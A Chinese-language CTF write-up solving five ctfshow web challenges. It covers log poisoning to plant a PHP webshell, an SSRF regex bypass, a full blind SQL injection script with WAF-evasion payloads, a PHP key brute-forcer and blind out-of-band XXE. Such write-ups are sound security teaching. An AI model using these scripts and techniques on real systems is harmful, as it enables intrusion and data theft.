签到_观己

从题目描述中没发现什么有用的信息

发现文件包含

尝试使用PHP伪协议执行命令，发现无法执行

尝试使用远程文件包含，发现也未开启

尝试使用日志注入

记录了UA值，抓包写入一句话木马

使用蚁剑连接

web1_观字

发现正则过滤，目的是访问内网靶机http://192.168.7.68/flag

使用。代替.绕过正则过滤

web2_观星

发现URL可以使用数字类型运算，尝试注入

在SQL注入中利用MySQL隐形的类型转换绕过WAF检测

写脚本尝试盲注(感谢羽师傅的提示)

#! /usr/bin/env python

# _*_  coding:utf-8 _*_

import requests

url = "http://2490cccb-ed3d-451e-94c6-54d36cf9a872.chall.ctf.show/index.php?id=3-"

#regexp代替=

def databases():

    database = ""

    for i in range(1, 50):

        x = 0

        for j in range(32, 135):

            payload = "case(" \

                            "ord(" \

                                "substr(" \

                                    "(select(database()))" \

                                "from({0})for(1)" \

                                ")" \

                            ")" \

                      ")" \

                      "when({1})then(0)else(1)end".format(i, j)

            text = requests.get(url + payload).text

            if "I asked nothing" in text:

                database += chr(j)

                x = 1

            if j == 132:

                if x == 0:

                    print("database name :" + database )

                    exit()

def tables():

    table = ""

    for i in range(1, 50):

        x = 0

        for j in range(32, 135):

            payload = "case(" \

                            "ord(" \

                                "substr(" \

                                    "(select(group_concat(table_name))from(information_schema.tables)where(table_schema)regexp(0x77656231))" \

                                "from({0})for(1)" \

                                ")" \

                            ")" \

                      ")" \

                      "when({1})then(0)else(1)end".format(i, j)

            text = requests.get(url + payload).text

            if "I asked nothing" in text:

                table += chr(j)

                x = 1

            if j == 132:

                if x == 0:

                    print("table name:" + table )

                    exit()

def columns():

    column = ""

    for i in range(1, 50):

        x = 0

        for j in range(32, 135):

            payload = "case(" \

                            "ord(" \

                                "substr(" \

                                    "(select(group_concat(column_name))from(information_schema.columns)where(table_name)regexp(0x666c6167))" \

                                "from({0})for(1)" \

                                ")" \

                            ")" \

                      ")" \

                      "when({1})then(0)else(1)end".format(i, j)

            text = requests.get(url + payload).text

            if "I asked nothing" in text:

                column += chr(j)

                x = 1

            if j == 132:

                if x == 0:

                    print("column name:" + column )

                    exit()

def getflag():

    flag = ""

    for i in range(1, 50):

        x = 0

        for j in range(32, 135):

            payload = "case(" \

                            "ord(" \

                                "substr(" \

                                    "(select(group_concat(flag))from(flag))" \

                                "from({0})for(1)" \

                                ")" \

                            ")" \

                      ")" \

                      "when({1})then(0)else(1)end".format(i, j)

            text = requests.get(url + payload).text

            if "I asked nothing" in text:

                flag += chr(j)

                x = 1

            if j == 132:

                if x == 0:

                    print("flag is:" + flag )

                    exit()

databases()

#tables()

#columns()

#getflag()

web3_观图

查看网页源代码

发现一个PHP文件

确定PHP版本

尝试爆破'ctfshow'.rand()中rand()所产生的值

openssl需要开启拓展，修改php.ini文件即可

<?php

$len = rand();

print ($len."\n");

for($i=0;$i<$len;$i++){

    $key = substr(md5('ctfshow'.$i),3,8);

    $image="Z6Ilu83MIDw=";

    $str = openssl_decrypt($image, 'bf-ecb', $key);

    if(strpos($str,"gif") or strpos($str,"jpg") or strpos($str,"png")){

        print($str." ");

        print($i);

        break;

    }

}

?>

爆破成功，加密得到秘钥key，并加密“config.php”

<?php

$i = 27347;

$key = substr(md5('ctfshow'.$i),3,8);

$c = "config.php";

print(openssl_encrypt($c,'bf-ecb', $key));

?>

访问该文件

由于会转换文件类型为gif，所以无法直接看到文件内容，需要下载文件再处理

web4_观心

抓取数据包

发现关键信息，猜测为xxe漏洞

发现无回显，在大佬的提示下，该漏洞为Blind XXE

XXE防御利用技巧：从XML到远程代码执行

 XXE及Blind_OOB_XXE

在API接口访问http://IP地址/test.xml

查看vps中1.txt的内容

巴特西

ctfshow——web_AK赛

签到_观己

web1_观字

web2_观星

web3_观图

web4_观心

最新文章

热门文章